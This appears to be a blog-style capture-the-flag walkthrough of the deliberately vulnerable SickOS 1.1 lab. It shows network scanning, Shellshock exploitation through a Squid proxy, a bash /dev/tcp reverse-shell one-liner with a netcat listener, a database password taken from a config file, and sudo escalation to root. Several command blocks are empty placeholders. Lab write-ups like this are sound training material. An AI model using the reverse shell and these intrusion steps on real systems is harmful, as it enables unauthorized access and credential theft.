sickos:1.1
From Vulhub
Tools:
- netdiscover
- Nmap
- Metasploit
- FoxyProxy
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.79.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_001.png)
192.168.79.178 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.79.178 -p-
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_002.png)
Looks like port 22 and port 3218 are openning. Port 3218 is running Squid. open msfconsole, search squid. I found that:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_003.png)
Then use this module to scan the squid service:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_004.png)
Looks like port 80 is opened:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_005.png)
Use FoxyProxy add-on to configure proxy:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_006.png)
now visit http://192.168.79.178
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_007.png)
now let’s use nikto to scan the server:
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_008.png)
looks like there is a shellshock vuln
Let’s test it:
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_009.png)
It works and looks there is an account sickos.
Now lets setup reverse shell.
netcat-style shell access without netcat:
/bin/bash -i > /dev/tcp/[yourip]/[port] 0<&1
in one terminal:
nc -nlvp 4444
in another terminal:
1
| |
get the shell:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_010.png)
After Enumeration, got a interesting file: /var/www/wolfcms/config.php
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_011.png)
Looks like the password is john@123
SSH to the target server as sickos and use this password:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_012.png)
Check sickos’s privilege:
sudo -l
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_013.png)
Looks like it can run as root
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos/Selection_014.png)
YES